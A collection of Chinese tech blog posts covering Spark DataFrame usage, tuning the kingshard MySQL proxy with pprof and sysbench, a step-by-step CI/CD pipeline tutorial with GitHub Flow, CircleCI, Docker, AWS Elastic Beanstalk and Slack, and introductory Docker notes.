
 {"name":"Michael"}
 {"name":"Andy", "age":30}
 {"name":"Justin", "age":19}



然后我们进入spark-shell，控制台的提示说明Spark为我们创建了一个叫sqlContext的上下文，注意，它是DataFrame的起点。

接下来我们希望把本地的JSON文件转化为DataFrame：


scalascala> val df = sqlContext.jsonFile("/path/to/your/jsonfile")
df: org.apache.spark.sql.DataFrame = [age: bigint, name: string]



从控制台的提示可以得知，我们成功创建了一个DataFrame的对象，包含age和name两个字段。

而DataFrame自带的玩法就多了：


scala// 输出表结构
df.printSchema()

// 选择所有年龄大于21岁的人，只保留name字段
df.filter(df("age") > 21).select("name").show()

// 选择name，并把age字段自增
df.select("name", df("age") + 1).show()

// 按年龄分组计数
df.groupBy("age").count().show()

// 左联表（注意是3个等号！）
df.join(df2, df("name") === df2("name"), "left").show()



此外，我们也可以把DataFrame对象转化为一个虚拟的表，然后用SQL语句查询，比如下面的命令就等同于df.groupBy("age").count().show()：


scaladf.registerTempTable("people")
sqlContext.sql("select age, count(*) from people group by age").show()



当然，Python有同样丰富的API（由于最终都是转化为JVM bytecode执行，Python和Scala的效率是一样的），而且Python还提供了类Pandas的操作语法。关于Python的API，可以参考Spark新年福音：一个用于大规模数据科学的API——DataFrame。


MySQL


除了JSON之外，DataFrame现在已经能支持MySQL、Hive、HDFS、PostgreSQL等外部数据源，而对关系数据库的读取，是通过jdbc实现的。


对于不同的关系数据库，必须在SPARK_CLASSPATH变量中加入对应connector的jar包，比如希望连接MySQL的话应该这么启动spark-shell：


SPARK_CLASSPATH=mysql-connector-java-x.x.x-bin.jar spark-shell



下面要将一个MySQL表转化为DataFrame对象：


val jdbcDF = sqlContext.load("jdbc", Map("url" -> "jdbc:mysql://localhost:3306/your_database?user=your_user&password=your_password", "dbtable" -> "your_table"))



然后十八般武艺又可以派上用场了。


Hive


Spark提供了一个HiveContext的上下文，其实是SQLContext的一个子类，但从作用上来说，sqlContext也支持Hive数据源。只要在部署Spark的时候加入Hive选项，并把已有的hive-site.xml文件挪到$SPARK_HOME/conf路径下，我们就可以直接用Spark查询包含已有元数据的Hive表了：


scalasqlContext.sql("select count(*) from hive_people").show()



结语


Spark的目标在于成为一个跨环境、跨语言、跨工具的大数据处理和分析平台。DataFrame的推出很好诠释了这一目标，从初步的使用来看确实很容易上手。随着性能和稳定性的持续优化，我相信某一天所有玩数据的人，都可以使用Spark作为惟一的平台入口。



  来自：建造者说
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kingshard性能优化网络篇

最近kingshard的功能开发节奏慢了许多。一方面是工作确实比较忙，另一方面是我觉得kingshard的功能已经比较完善了，下一步的开发重点应该是性能优化。毕竟作为一个MySQL proxy,如果转发SQL的性能很差，再多的功能都无济于事。所以这个周末一直宅在家里优化kingshard的转发性能。经过两天的探索发现，将kingshard的转发SQL性能提升了18%左右，在这个过程中学到了一下知识。借此机会分享一下，同时也是督促一下自己写博客的积极性。：）

1. 发现kingshard的性能瓶颈

首选，对kingshard进行性能优化，我们必须要找到kingshard的性能瓶颈在哪里。Go语言在性能优化支持方面做的非常好，借助于go语言的pprof工具，我们可以通过简单的几个步骤，就能得到kingshard在转发SQL请求时的各个函数耗时情况。

1.1 环境搭建

根据kingshard使用指南搭建一个kingshard代理环境。我是用macbook搭建的环境，硬件参数如下所示：

CPU： 2.2GHZ * 4
内存：16GB
硬盘: 256GB


1.2 性能测试步骤

具体步骤如下所述：

1.获取一个性能分析的封装库

go get github.com/davecheney/profile

2.在工程内import这个组件

3.在kingshard/cmd/kingshard/main.go的main函数开始部分添加CPU监控的启动和停止入口

func main() {
    defer profile.Start(profile.CPUProfile).Stop()
    fmt.Print(banner)
    runtime.GOMAXPROCS(runtime.NumCPU())
    flag.Parse()
    ....
}

4.重新编译工程, 运行kingshard

./bin/kingshard -config=etc/ks.yaml

5.kingshard启动后会在终端输出下面一段提示：

2015/10/31 10:28:06 profile: cpu profiling enabled, /var/folders/4q/zzb55sfj377b6vdyz2brt6sc0000gn/T/profile205276958/cpu.pprof

后面的路径就是pprof性能分析文件的位置，Ctrl+C中断服务器

6.这时候用sysbench对kingshard进行压力测试，得到QPS（有关sysbench的安装和使用，请自行Google解决）。具体的代码如下所示：

sysbench --test=oltp --num-threads=16 --max-requests=160000 --oltp-test-mode=nontrx --db-driver=mysql --mysql-db=kingshard --mysql-host=127.0.0.1 --mysql-port=9696 --mysql-table-engine=innodb --oltp-table-size=10000 --mysql-user=kingshard --mysql-password=kingshard --oltp-nontrx-mode=select --db-ps-mode=disable run


得到如下结果:

OLTP test statistics:
    queries performed:
        read:                            160071
        write:                           0
        other:                           0
        total:                           160071
    transactions:                        160071 (16552.58 per sec.)
    deadlocks:                           0      (0.00 per sec.)
    read/write requests:                 160071 (16552.58 per sec.)
    other operations:                    0      (0.00 per sec.)

Test execution summary:
    total time:                          9.6705s
    total number of events:              160071
    total time taken by event execution: 154.4474
    per-request statistics:
         min:                                  0.29ms
         avg:                                  0.96ms
         max:                                 14.17ms
         approx.  95 percentile:               1.37ms

Threads fairness:
    events (avg/stddev):           10004.4375/24.95
    execution time (avg/stddev):   9.6530/0.00



	按照上述步骤测试三次（16552.58,16769.72,16550.16）取平均值，得到优化前kingshard的QPS是：16624.15


	按照上述步骤，直连MySQL。测试直连MySQL的QPS，同样测试三次QPS（27730.90，28499.05，27119.20），得到直连MySQL的QPS是：27783.05。


	从上述数据可以计算出kingshard转发SQL的性能是直连MySQL的59%左右。




7.将cpu.prof拷贝到bin/kingshard所在位置

8.调用go tool工具制作CPU耗时的PDF文档

go tool pprof -pdf ./kingshard cpu.pprof > report.pdf

2. 性能测试报告分析

通过上述命令，可以生成压测期间主要函数耗时情况。从report来看，主要的耗时在TCP层数据包的收发上面。那我们应该主要考虑如何优化TCP层数据的收发方面。优化TCP传输效率，我首先想到了减少系统调用，每个数据包传输尽量多的数据。

在通过 TCP socket 进行通信时，数据都拆分成了数据块，这样它们就可以封装到给定连接的 TCP payload（指 TCP 数据包中的有效负荷）中了。TCP payload 的大小取决于几个因素（例如最大报文长度和路径），但是这些因素在连接发起时都是已知的。为了达到最好的性能，我们的目标是使用尽可能多的可用数据来填充每个报文。当没有足够的数据来填充 payload 时（也称为最大报文段长度（maximum segment size） 或 MSS），TCP 就会采用 Nagle 算法自动将一些小的缓冲区连接到一个报文段中。这样可以通过最小化所发送的报文的数量来提高应用程序的效率，并减轻整体的网络拥塞问题。

由于这种算法对数据进行合并，试图构成一个完整的 TCP 报文段，因此它会引入一些延时。但是这种算法可以最小化在线路上发送的报文的数量，因此可以最小化网络拥塞的问题。但是在需要最小化传输延时的情况中，GO语言中Sockets API 可以提供一种解决方案。就是通过：

func (c *TCPConn) SetNoDelay(noDelay bool) error

这个函数在Go中默认情况下，是设置为true，也就是未开启延迟选项。我们需要将其设置为false选项，来达到每个数据包传输尽量多的数据，减少系统调用的目的。

2.1 代码修改和性能测试

发现了性能瓶颈以后，修改proxy/server/server.go文件中的newClientConn函数和backend/backend_conn.go中的ReConnect函数，分别设置client与kingshard之间的连接和kingshard到MySQL之间的连接为最小化传输延时。具体的代码修改可以查看这个commit。

修改后我们利用sysbench重新测试，测试命令和上述测试一致。得到的结果如下所示：

OLTP test statistics:
    queries performed:
        read:                            160174
        write:                           0
        other:                           0
        total:                           160174
    transactions:                        160174 (21291.68 per sec.)
    deadlocks:                           0      (0.00 per sec.)
    read/write requests:                 160174 (21291.68 per sec.)
    other operations:                    0      (0.00 per sec.)

Test execution summary:
    total time:                          7.5228s
    total number of events:              160174
    total time taken by event execution: 119.9655
    per-request statistics:
         min:                                  0.26ms
         avg:                                  0.75ms
         max:                                 10.78ms
         approx.  95 percentile:               1.13ms

Threads fairness:
    events (avg/stddev):           10010.8750/38.65
    execution time (avg/stddev):   7.4978/0.00

测试三次得到的QPS为：21291.68,21670.85,21463.44。 相当于直连MySQL性能的77%左右，通过这个优化性能提升了18%左右。

总结

通过这篇文章，介绍了通过Go语言提供的pprof对kingshard进行性能分析的详细步骤。对于其他Go语言项目也可以通过类似步骤生成性能报告文档。性能优化的关键是发现性能瓶颈，再去找优化方案。有时候简单的优化，就可以达到预想不到的效果，希望本文能给Go开发者在性能优化方面提供一个思路。最后打个广告：kingshard作为一个支持sharding的开源MySQL中间件项目，目前已经比较稳定了，且经过性能优化后，转发SQL的性能提升了不少。后续我还会在锁和内存方面对kingshard进行优化，敬请期待。

github: https://github.com/flike/kingshard
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  原文出處：DevOps：持續整合＆持續交付（Docker、CircleCI、AWS）







這篇文章將一步一步介紹如何使用 Docker、GitHub Flow、CircleCI、AWS Elastic Beanstalk 與 Slack 來完成持續整合與持續交付的開發流程。


前言


什麼是持續整合＆持續交付？


持續整合＆持續交付（Continuous Integration & Continous Delivery），簡稱 CI & CD，具體介紹可以參考「山姆鍋對持續整合、持續部署、持續交付的定義」這篇文章。


簡單來說就是盡量減少手動人力，將一些日常工作交給自動化工具。例如：環境建置、單元測試、日誌紀錄、產品部署。


我使用了哪些工具？



	
Git - 版本管理

	
GitHub - 程式碼託管、審查

	
CircleCI - 自動化建置、測試、部署

	
Docker - 可攜式、輕量級的執行環境

	
AWS Elastic Beanstalk - 雲端平台

	
Slack - 團隊溝通、日誌、通知



看完這篇你可以學到什麼？



	瞭解 GiHub 的工作流程（GitHub Flow），利用 Pull Request 以及分支來完成代碼審查（Code Review）與環境配置，例如：開發版（development）、測試版（testing/QA）、上線產品（staging/production）。

	使用 Docker，統一開發者、測試人員、以及產品的執行環境。

	使用 EB CLI 將應用程式部署到 AWS Elastic Beanstalk 平台上。

	使用 CircleCI 將以上工作全部自動化。偵測 GitHub 分支上的程式碼，若有更新則觸發：建置 Docker 環境、單元測試、然後自動部署新版本到 AWS EB。

	使用 Slack，讓團隊成員能夠即時接收 GitHub 與 CircleCI 每一項動作的通知。






內容大綱



	
Node.js


	在本地端執行 Node.js

	在本地端測試 Node.js





	GitHub

	
CircleCI


	在 CircleCI 測試 Node.js





	Code Review with GitHub Flow

	
Docker


	在 Docker 執行 Node.js

	在 CircleCI 測試 Docker





	
AWS Elastic Beanstalk


	在本地端部署 AWS

	在 CircleCI 部署 AWS





	Slack



Node.js






  安裝：

  
  
	
node: 0.10

  




這篇文章以 Node.js 的應用程式作為範例，其他語言（Ruby on Rails、Python、PHP）也同樣適用此工作流程。


建立新專案



	
建立一個專案資料夾（這裡以 hello-ci-workflow 為例）：


bash$ mkdir hello-ci-workflow
$ cd hello-ci-workflow






在本地端執行 Node.js



	
初始化 Node.js 的環境，填寫一些資料之後會在目錄下產生一個 package.json 的檔案：


bash$ npm init




	
安裝 Node.js 的 web framework，以 Express 為例：


bash$ npm install express --save




  --save：寫入 package.json 的 dependencies。





	
完成之後，package.json 大概會長這個樣子：


json// package.json
{
  "name": "hello-ci-workflow",
  "main": "index.js",
  "dependencies": {
    "express": "^4.12.3"
  },
  "scripts": {
    "start": "node index.js"
  }
}




	
在 index.js 裡寫一段簡單的 Hello World! 的程式：


javascript// index.js
var express = require('express');
var app = express();

app.get('/', function (req, res) {
  res.send('Hello World!');
});

var server = app.listen(3000, function () {

  var host = server.address().address;
  var port = server.address().port;

  console.log('Example app listening at http://%s:%s', host, port);

});




	
執行 npm start 或 node index.js：


bash$ npm start




	
打開瀏覽器 http://localhost:3000 看結果：








在本地端測試 Node.js



	
安裝 Node.js 的單元測試，以 Mocha 為例：


bash$ npm install mocha --save-dev




  --save-dev: 寫入 package.json 的 devDependencies，正式上線環境不會被安裝。




json// package.json
{
  "name": "hello-ci-workflow",
  "main": "index.js",
  "dependencies": {
    "express": "^4.12.3"
  },
  "devDependencies": {
    "mocha": "^2.2.4"
  },
  "scripts": {
    "start": "node index.js"
  }
}




	
根目錄 test 資料夾，並新增一個測試腳本 test.js：


bash$ mkdir test
$ cd test
$ touch test.js




	
加入一筆錯誤的測試 assert.equal(1, [1,2,3].indexOf(0))：


javascript// test/test.js
var assert = require("assert")
describe('Array', function(){
  describe('#indexOf()', function(){
    it('should return -1 when the value is not present', function(){
      assert.equal(1, [1,2,3].indexOf(0));
    })
  })
})




	
執行 mocha 測試：


bash$ ./node_modules/.bin/mocha


  Array
    #indexOf()
      1) should return -1 when the value is not present


  0 passing (9ms)
  1 failing



結果顯示 1 failing，測試沒通過，因為 [1,2,3].indexOf(0) 回傳的值不等於 -1。



	
將 test.js 的測試修正：


javascript// test/test.js
assert.equal(-1, [1,2,3].indexOf(0));




	
再次執行 mocha 測試：


bash$ ./node_modules/.bin/mocha


  Array
    #indexOf()
      ✓ should return -1 when the value is not present


  1 passing (6ms)



結果顯示 1 passing，通過測試。





GitHub





安裝：git: 2.3

帳號：GitHub



	
初始化 git 環境：


bash$ git init .




	
輸入 git status 會顯示目前哪些檔案有過更動：


bash$ git status
On branch master

Initial commit

Untracked files:
  (use "git add <file>..." to include in what will be committed)

  index.js
  node_modules/
  package.json
  test/




	
將 node_modules 加到 .gitignore 黑名單，因為這個資料夾是由 npm install 自動產生的，不需要放到 GitHub 上：


yaml# .gitignore

# Dependency directory
# https://www.npmjs.org/doc/misc/npm-faq.html#should-i-check-my-node_modules-folder-into-git
node_modules




	
將更動 commit：


bash$ git add .
$ git commit -m "first commit"




	
打開 GitHub，新增一個 repository：






	
輸入 repository 的名稱，以 hello-ci-workflow 為例：






	
使用 git remote add 將新創建的 GitHub repository 加入到 remote：


bash$ git remote add origin https://github.com/<USER_NAME>/hello-ci-workflow.git




  <USER_NAME> 改成自己的帳號。





	
使用 git push 將程式碼傳到 GitHub：


bash$ git push -u origin master



成功之後前往 https://github.com/<USER_NAME>/hello-ci-workflow 就可以看到剛才上傳的檔案：








CircleCI





帳號：CircleCI


加入 GitHub repository



	
點選左邊欄的 Add Projects 按鈕：






	
選擇自己的 GitHub 帳號：






	
搜尋要加入的 GitHub repository，然後點選 Build project 按鈕，以 hello-ci-workflow 為例：






	
完成之後 CircleCI 就會自動執行第一次的建構，不過因為還沒加入測試腳本，所以建構結果會顯示 no test：








在 CircleCI 測試 Node.js



	
在專案根目錄底下建立一個 circle.yml，並加入 mocha test：


yaml# circle.yml
machine:
  node:
    version: 0.10

test:
  override:
    - ./node_modules/.bin/mocha




	
完成之後將檔案 push 上 GitHub：


bash$ git add circle.yml
$ git cimmit "add circle.yml"
$ git push




	
Push 成功之後，CircleCI 會自動觸發建構和測試：






	
測試通過，建置成功：








代碼審查（Code Review）with GitHub Flow


目前開發中比較常用的 workflow 有 Git flow 和 GitHub flow 兩種，可以參考以下幾篇文章：


Git flow：



	Git flow 開發流程

	git-flow cheatsheet

	A successful Git branching model



GitHub flow：



	Understanding the GitHub Flow

	Git Flow 和 Github Flow 的不同

	在 GitHub 當中使用的 work flow



這裡我們使用 GitHub flow，它的核心精神是：



	所有在 master 分支上的程式都一定要是通過測試，可以部署的產品版本。

	要開發功能、修復 Bug、做任何事情，都要從 master 開一條新的分支。

	隨時 commit 和 push 你的程式碼到 GitHub 上，與大家討論。

	功能完成時，使用 pull request 讓大家作 code review。

	確認沒問題之後才可以 merge 回 master，並且部屬新版本到線上。 



建立一條分支



	
為了確保 master 這條主線上的程式碼都是穩定的，所以建議開發者依照不同的功能、建立不同的分支，這裡以 test-github-flow 為例，使用 git branch 新增分支、然後 git checkout 切換分支：


bash$ git branch test-github-flow
$ git checkout test-github-flow






加入 commits



	
在 test.js 裡加入一行錯誤的測試 assert.equal(3, [1,2,3].indexOf(5))：


javascript// test/test.js
// ...
assert.equal(3, [1,2,3].indexOf(5));



bash$ git add test/test.js
$ git commit -m "add a error test case"






新增一個 Pull Request



	
Push 到 GitHub 的 test-github-flow 分支：


bash$ git push -u origin test-github-flow




	
打開 GitHub 之後，會出現 test-github-flow 分支的 push commits，點選旁邊的 Compare & pull request 按鈕：






	
點選之後會進入 Open a pull request 的填寫頁面，選擇想要 merge 的分支、輸入描述之後，點選 Create pull request 按鈕：








檢視＆討論你的程式碼



	
新增一個 pull request 之後，其他人就會在 GitHub 上出現通知：






	
點進去之後可以看見相關的 commits 與留言，但是下面有一個紅紅大大的叉叉；因為每次 GitHub 只要有新的 push，就會觸發 CircleCI 的自動建置和測試，並且顯示結果在 GitHub 上：






	
點選叉叉，前往 CircleCI 查看錯誤原因：






	
就會發現剛剛 push 到 test-github-flow 的測試沒通過：








回到 GitHub，因為測試沒通過，所以審查者不能讓這筆 pull request 被 merge 回 master。



	
找到剛剛 commit 的那段程式碼，留言告知請開發者修正錯誤之後，再重新 commit push 上來：












	
修正 test.js 的測試腳本：


javascript// test/test.js
// ...
assert.equal(-1, [1,2,3].indexOf(5));




	
再次 commit & push：


bash$ git add test/test.js
$ git commit -m "fix error test case"
$ git push




	
回到 GitHub 的 pull request 頁面，可以看到最新一筆的 commit 成功通過 CircleCI 的測試了：














Merge＆部署



	
審查之後，確定沒有問題，就可以點選 Merge pull request 的按鈕，將 test-github-flow 的程式碼 merge 回主線 master：














Docker






  安裝：

  
  
	
boot2docker: 1.5（Mac only）

  	
docker: 1.5

  




什麼是 Docker？為什麼要用它？


因為 Docker 最近很火，所以網路上不缺關於介紹它的文章，原諒我這裡只稍微提一下：


以往開發人員面對開發環境不同的問題，常常出現「明明在我的電腦上可以跑」的囧境，所以為了解決這類問題，通常會使用虛擬機器（VM）搭配一些工具（Vagrant、Chef）來協助統一開發人員、測試人員、上線產品的執行環境。





Docker 也是類似的解決方案，不同於 VM 的是，Docker 運行起來更輕巧、可攜度更高。配置好一份設定之後，就可以讓大家馬上進入開發狀況，減少不必要的環境問題，提升效率。


在 Docker 執行 Node.js



	
在專案根目錄底下建立一個 Dockerfile：


yaml# Dockerfile

# 從 [Docker Hub](https://hub.docker.com/) 安裝 Node.js image。
FROM node:0.10

# 設定 container 的預設目錄位置
WORKDIR /hello-ci-workflow

# 將專案根目錄的檔案加入至 container
# 安裝 npm package
ADD . /hello-ci-workflow
RUN npm install

# 開放 container 的 3000 port
EXPOSE 3000
CMD npm start




	
使用 docker build 建構您的 image：


bash$ docker build -t hello-ci-workflow .




  -t hello-ci-workflow 是 image 名稱。





	
使用 docker run 執行您的 image：


bash$ docker run -p 3000:3000 -d hello-ci-workflow




  -d 在背景執行 node，可以使用 docker logs 看執行結果。





	
打開瀏覽器 http://localhost:3000 看結果：






  其實每一次都要 build 和 run 還蠻麻煩的，推薦可以試試 Docker Compose，用起來有點像 Vagrant。







在 CircleCI 測試 Docker



	
修改 circle.yml：


yaml# circle.yml
machine:
  # 環境改成 docker
  services:
    - docker

dependencies:
  override:
    # 建構方式使用 docker build
    - docker build -t hello-ci-workflow .

test:
  override:
    - ./node_modules/.bin/mocha
    # 使用 curl 測試 docker 是否有順利執行 node
    - docker run -d -p 3000:3000 hello-ci-workflow; sleep 10
    - curl --retry 10 --retry-delay 5 -v http://localhost:3000




	
Push 更新到 GitHub：


bash$ git add Dockerfile circle.yml
$ git commit -m "add Docker"
$ git push




	
查看 CircleCI 建構＆測試結果：








AWS Elastic Beanstalk






  帳號：Amazon Web Services

  安裝：AWS EB CLI: 3.x




最後要將程式上線啦！現在 PaaS 雲端平台的選擇非常多（Heroku、Google App Engine、Azure、OpenShift、Linode），這裡我選擇 Amazon 推出的 Elastic Beanstalk 當作範例，以下是它的特色：



	支援的開發環境多（Java、.NET、PHP、Node.js、Python、Ruby、GO），重點是有支援 Docker！

	只需要上傳程式碼，Elastic Beanstalk 即可幫你完成從容量配置、負載均衡（load balancing）、自動擴展（auto scaling）到應用程式的運行狀況監控的部署。







	
初始化 EB 環境：


bash$ eb init -p docker




  -p 可以指定 EB 的應用平台，例如 php 之類；這裡使用 docker。




該命令將提示您配置各種設置。 按 Enter 鍵接受預設值。



  如果你已經存有一組 AWS EB 權限的憑證，該命令會自動使用它。

  否則，它會提示您輸入 Access key ID 和 Secret access key，必須前往 AWS IAM 建立一組。





	
初始化成功之後，可以使用 eb create 快速建立各種不同的環境，例如：development, staging, production；這裡我們以 env-development 為例：


bash$ eb create env-development



等待 Elastic Beanstalk 完成環境的建立。 當它完成之後，您的應用已經備有負載均衡（load-balancing）與自動擴展（autoscaling）的功能了。






	
使用 eb open 前往目前版本的執行結果：


bash$ eb open env-development









在本地端部署 AWS



	
稍微修改 index.js：


javascript// index.js
// ...
app.get('/', function (req, res) {
  res.send('Hello env-development!');
});
// ...




	
執行 eb deploy 部署新版本到 AWS Elastic Beanstalk：


bash$ eb deploy env-development







	
部署完成之後，執行 eb open 打開網頁：


bash$ eb open env-development






env-development 上的應用程式更新完成。





在 CircleCI 部署 AWS



	
git checkout 將分支切換回主線 master：


bash$ git checkout master




	
eb create 新增一組新的環境，作為產品上線用，命名為 env-production：


bash$ eb create env-production



bash$ eb open env-production









這樣就成功啟動第二組機器了，目前我們有 env-development 和 env-production 兩組環境。


前往 AWS IAM 新增一組帳號給 CircleCI 使用：



	
Dashboard > Users


	Create New Users

	Enter User Names: CircleCI > Create


	Download Credentials

	
Dashboard > Users > CircleCI


	Attach Pollcy

	
AWSElasticBeanstalkFullAccess > Attach Pollcy




前往 CircleCI，設定您的 AWS 權限：



	Project Settings

	
Permissions > AWS Permissions


	打開剛才下載的 credentials.csv，輸入 Access Key ID & Secret Access Key


	Save AWS keys



然后



	
在 .elasticbeanstalk 目錄底下，建立 config.global.yml：


yaml# .elasticbeanstalk/config.global.yml
global:
  application_name: hello-ci-workflow
  default_region: us-west-2 # EB 所在的 region，預設是 us-west-2




	
修改 circle.yml：


yaml# circle.yml
machine:
  # 安裝 eb 需要 python
  python:
    version: 2.7
  services:
    - docker

dependencies:
  pre:
    # 安裝 eb
    - sudo pip install awsebcli
  override:
    - docker build -t hello-ci-workflow .

test:
  override:
    - npm test
    - docker run -d -p 3000:3000 hello-ci-workflow; sleep 10
    - curl --retry 10 --retry-delay 5 -v http://localhost:3000

# 新增一筆部署腳本
deployment:
  production:
    branch: master
    commands:
      - eb deploy env-production



這樣就能在 GitHub 的 master 支線有更新時，觸發 CircleCI 的自動建置、測試、然後部署。



	
接下來馬上來試試看流程，修改 index.js：


javascript// index.js
// ...
app.get('/', function (req, res) {
  res.send('Hello env-production!');
});
// ...




	
Commit & Push：


bash$ git add .
$ git cimmit "test deploy production"
$ git push




	
前往 CircleCI 看結果：






	
部署成功，eb open 打開瀏覽器來看看結果：


bash$ eb open env-production









Slack






  帳號：Slack




到這邊其實已經差不多結束了，最後來講講 Slack 吧。


Slack 是一款給團隊使用的即時溝通工具，類似的產品還有 Gitter 與 HipChat。


至於跟 Skype、Lync 這些軟體有什麼不一樣的地方呢？


它們整合了許多開發工具（GitHub、CircleCI）的服務，例如 GitHub 有新的 push、pull request、issue；CircleCI 的單元測試沒有通過之類的通知，會即時出現在你的團隊的 Slack 上面，既然我們已經將大部分的工作自動化，勢必需要讓相關人員知道這些工具發生了哪些事情，所以使用 Slack 是必要的。



	登入 Slack 頁面

	點選 Configure Integrations > CircleCI











	選擇要接收 CircleCI 通知的 channel 

	點選 Add CircleCI Integration 按鈕

	
複製畫面上的 webhook URL









	返回 CircleCI


	點選 Project settings > Chat Notifications


	
貼上將複製的 Webhook URL > Save












	
類似的步驟，將 GitHub 的通知加入 Slack：















	
測試 Slack 通知，是否能夠順利運作，新增一條 test-slack 分支：


bash$ git branch test-slack
$ git checkout test-slack




	
修改 index.js：


javascript// index.js
// ...
app.get('/', function (req, res) {
  res.send('Hello Slack!');
});
// ...




	
Commit & Push：


bash$ git add index.js
$ git commit -m "index.js: update to test slack"
$ git push -u origin test-slack




	CircleCI 通過測試，開啟一個 Pull Request


	將 test-slack merge 回 master，觸發 CircleCI 自動部署









That’s it! On your next build, you’ll start seeing CircleCI build notifications in your Slack chatroom.


結束！可以看見 Slack channel 會顯示每一個步驟的通知過程：





eb open 打開瀏覽器查看結果，成功自動部署新版本：


bash$ eb open env-production






結語



  「書山有路勤為徑，學海無涯苦作舟。」——韓愈




DevOps 的開發流程與工具每天都在不斷推陳出新，請站在巨人的肩膀上、保持一顆「活到老、學到老」的心。


我將這個範例的程式碼放在 GitHub 上，有興趣的人可以參考看看。


文章若有需要改進的地方，還請不吝指教，感激不盡。
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 Docker学习之路（一）

作者：Aomine

来源： Docker学习之路（一）



                    
本人的学习笔记，主要是对《我的第一本Docker书》、《Docker —— 从入门到实践》的学习记录，并结合其他各种资源的学习，欢迎大牛们指点。


容器简介


管理程序虚拟化（hypervisor virtualization, HV）是通过中间虚拟运行于物理硬件之上。而容器是直接运行在操作系统内核之上用户空间。因此，容器虚拟化运行也成为“操作系统级虚拟化”，容器技术可以让多个独立的用户空间运行在同一台宿主机上。


容器只能运行与底层宿主机相同或类似的操作系统。例如，可以在 Ubuntu 服务器中运行 RedHat Enterprise Linux，但是不能运行 Windows。


在超大规模的多租户服务不熟、轻量级沙盒以及对安全要求不太高的隔离环境中，容器技术非常流行。比如“权限隔离监牢”（chroot jail），它建立一个隔离的目录环境来运行进程，如果权限隔离监牢正在运行的进程被入侵者攻破，入侵者便会发现自己身陷“身陷囹圄”，因为权限不足被困在容器创建的目录中，无非对宿主机进行进一步的破坏。


最新的容器引入了 Open、Solaris Zones、Linux 容器（如 lxc），容器不再仅仅是一个单纯的运行环境。在自己的权限范围内，容器更像是一个完整的宿主机。


Docker 得益于现代 Linux 内核特性，如控件组（control group）、命名空间（namespace）技术，容器和宿主机直接的隔离更加彻底，容器有独立的网络和存储栈，还拥有自己的资源管理能力，是的同一台宿主机中的多个容器可以友好地共存。


容器开销低，和传统的虚拟化以及半虚拟化（paravirtualization）相比，容器运行不需要模拟层（emulation layer）和管理层（hypervisor layer），二手使用操作系统的系统调用接口，着降低了运行单个容器所吸引的开销，也是的宿主机中可以运行更多的容器。


但容器本身比较复杂，不易安装，管理和自动化也很困难，而Docker就是为改变着一切而生的。


Docker简介


Docker是一个能把开发应用程序自动不熟到容器的开源引擎。由Docker 团队编写，基于Apache 2.0 开源协议发行。


在 LXC 的基础上 Docker 进行了进一步的封装，让用户不需要去关心容器的管理，使得操作更为简便。用户操作 Docker 的容器就像操作一个快速轻量级的虚拟机一样简单。


Docker在虚拟化的容器执行环境中增加了一个应用部署引擎，该引擎的目标是提供一个轻量、快速的环境，能够运行开发者的程序，并方便高效地将程序从开发者的笔记本部署到测试环境，然后再部署到生产环境。Docker机器简洁，它所需要的全部环境只是一台仅仅安装了兼容版本的Linux内核和二进制文件最小限的宿主机。而Docker的目标是提供一些这些东西：


提供简单、轻量的建模方式


Docker上手非常快，只要几分钟就能把自己的程序“Docker化”（Dockerize）。Docker依赖于“写时付至”（copy-on-write）

模型，是修改应用程序也非常迅速，可以说是“随心所至，代码即改”。


随后就可以创建容器来运行程序了。大多数Docker容器只需不到1秒钟即可启动。去除了管理程序的开销，性能较高，可以同时运行多个容器。


职责的逻辑分离


使用Docker，开发人员只需关系容器运行的程序，运维人员只需关系如何管理容器。加强了开发人员写代码的环境与程序部署的生产环境的一致性。


快速、高效的开发生命周期


缩短代码从开发、测试、部署、上下的周期，让应用可移植、易构建、易协作。


鼓励使用面向服务的架构


Docker推荐单个容器运行一个应用程序或进程，形成分布式的应用程序模型，这样，程序或服务都可以表示为一系列内部互联的容器，使分布式部署应用程序，扩展或调试程序标的简单。当然也可以在一个容器里运行多个进程的应用程序。


Docker 组件


镜像


Docker 镜像就是一个只读的模板。例如：一个镜像可以包含一个完整的 ubuntu 操作系统环境，里面仅安装了 Apache 或用户需要的其它应用程序。


镜像是Docker生命周期中的“构建”部分，可以用来创建 Docker 容器。


Docker 提供了一个很简单的机制来创建镜像或者更新现有的镜像，可以当做容器的“源代码”，它体积很小，便于分享、存储、更新。用户甚至可以直接从其他人那里下载一个已经做好的镜像来直接使用。


镜像是基于联合（union）文件系统的一种层式的结构，由一系列指令一步步构建处理。例如：



	添加一个文件

	执行一个命令

	打开一个端口



容器


Docker利用容器来运行应用。Docker可以帮你构建和部署容器，你只需要把自己的程序或服务打包到容器里即可。容器是基于镜像启动的，容器可以运行多个进程，所以可以认为，镜像是Docker生命周期的构建/打包阶段，容器是启动/执行阶段。


打个比方，容器是集装箱，镜像是货物。


容器是从镜像创建的运行实例。它可以被启动、开始、停止、删除。每个容器都是相互隔离的、保证安全的平台。


可以把容器看做是一个简易版的 Linux 环境（包括root用户权限、进程空间、用户空间和网络空间等）和运行在其中的应用程序。


总结起来，Docker容器就是：



	一个镜像格式

	一系列标准的操作

	一个执行环境




  注：镜像是只读的，容器在启动的时候创建一层可写层作为最上层。




仓库（registry）


仓库用于保存用户构建的镜像，分为公有、私有。Docker公司运营的公共仓库叫Docker Hub，用户可以在Docker Hub注册账号，保存并分享自己的镜像。 国内的公开仓库有 Docker Pool等。用户也可以在本地网络内创建一个私有仓库。


当用户创建了自己的镜像之后就可以使用 push 命令将它上传到公有或者私有仓库，这样下次在另外一台机器上使用这个镜像时候，只需要从仓库上 pull 下来就可以了。



  注：Docker 仓库的概念跟 Git 类似，注册服务器可以理解为 GitHub 这样的托管服务。




本文地址


 8 个你可能不知道的 Docker 知识

作者：大舒

来源： 8 个你可能不知道的 Docker 知识



                    

  Docker 这个工具已经出现很长一段时间了，但是可能还有很多人对 Docker 的概念不太清楚，因此这次翻译 8 个你可能不知道的 Docker 知识 这篇文章，和大家介绍一下生产环境中的 Docker 用例。




自从上世纪 90 年代硬件虚拟化被主流的技术广泛普及之后，对数据中心而言，发生的最大的变革莫过于容器和容器管理工具，例如：Docker。在过去的一年内，Docker 技术已经逐渐走向成熟，并且推动了大型初创公司例如 Twitter 和 Airbnb 的发展，甚至在银行、连锁超市、甚至 NASA 的数据中心都赢得了一席之地。当我几年前第一次直到 Docker 的时候，我还对 Docker 的未来持怀疑的态度，我认为他们是把以前的 Linux 容器的概念拿出来包装了一番推向市场。但是使用 Docker 成功进行了几个项目 例如 Spantree 之后，我改变了我的看法：Docker 帮助我们节省了大量的时间和经历，并且已经成为我们技术团队中不可或缺的工具。


